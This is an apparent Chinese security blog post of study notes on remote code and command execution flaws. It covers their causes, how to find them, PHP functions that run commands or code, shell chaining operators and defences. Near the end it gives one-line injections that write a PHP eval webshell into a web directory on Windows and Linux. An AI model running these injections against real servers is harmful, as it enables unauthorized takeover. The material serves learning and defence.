RCE

2024-03-28 1,005 0

形成原因:

在开发过程中,开发者没有对用户输入的参数做严格的过滤,导致用户输入的恶意的参数拼接到了代码执行函数或命令执行函数中,导致命令被执行。

两者的区别:代码执行漏洞传入的是函数,命令执行漏洞传入的是系统命令。

挖掘方法:

黑盒:系统本身存在命令执行的地方,可能存在命令执行漏洞。如:测试网络(ping)、查询信息、网络追踪。

白盒:代码审计  python(SSTI模板注入漏洞)   Java   php    .net

Dirseach

软件开源  hithub

.git   git泄露

.svn  svn泄露

备份文件泄露    www.tarwww.zip......  (直接用dirseach跑,有就有,没有就没有)

注:Java的高版本jdk可能无法使用webshell,golang的gin和python的flask没有webshell

利用方式

1、单一命令执行(;     &(Windows不支持)      &&      |           ||)

2、上传木马,写入webshell

3、反弹shell

4、web_deliveray

利用方法:

特殊字符:

cmd1|cmd2:无论cmd1是否执行成功,cmd2将被执行

cmd1;cmd2:无论cmd1是否执行成功,cmd2将被执行,windows不支持

cmd1||cmd2:仅在cmd1执行失败时才执行cmd2

cmd1&&cmd2:仅在cmd1执行成功后cmd2才执行

cmd1&cmd2:执行命令1和命令2

cmd2$(cmd) :echo $(whoami) 或者 $(touch test.sh; echo 'ls' > test.sh)

'cmd':用于执行特定命令,如 'whoami'

命令执行函数:

system():执行外部程序,并且显示输出;

exec():执行一个外部程序

shell_exec():通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。

passthru():执行unix系统命令并且显示原始输出

pcntl_exec():在当前进程空间执行指定程序

popen():打开进程文件指针

proc_open():执行一个命令,并且打开用来输入/输出的文件指针。

代码执行函数:

eval():把字符串当作代码执行

assert():把字符串当作代码执行,只能用于php5版本

call_user_func():第一个参数是回调函数,其余是回调参数

call_user_func_array():第一个参数是回调函数,数组作为参数传入

reg_replace():正则表达式替换函数,当第一个参数使用/e作为修饰符,会把第二个参数传入的字符串当作php代码执行   注:php>5.5不再支持

array_map()

RCE防护:

1、上waf

2、不要让用户的参数拼接到代码执行函数或者命令执行函数中

3、正则过滤(黑名单),拦截命令拼接符

4、白名单限制

5、命令或代码执行函数中的参数写死

代码执行函数

Eval

Assert

Call_user_func

CALL_USER_FUNC_ARRAY

Preg_replace

Array_map

命令执行

System

Exec

Shell_exec

Shell_exec

Passtru

Popen

连接符命令执行

&&(前面执行后面才执行)

&(前面是否执行,后面都执行)

|(将第一个结果作为第二个输入)

||(前面执行失败后面才执行)

命令执行写入webshell

Windows 命令执行写入webshell:

1212 & echo "<?php eval($_POST['cmd']);?>" > webshell.php

linux命令执行写入webshell

324 & echo "<?php eval(\$_POST['cmd']);?>" > /var/www/html/upload/webshell.php


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

webpack打包站点,js文件名批量获取思路
加密对抗靶场enctypt——labs通关
【论文速读】| 注意力是实现基于大语言模型的代码漏洞定位的关键
蓝队技术——Sysmon识别检测宏病毒
内网渗透学习|powershell上线cs
LLM attack中的API调用安全问题及靶场实践

发布评论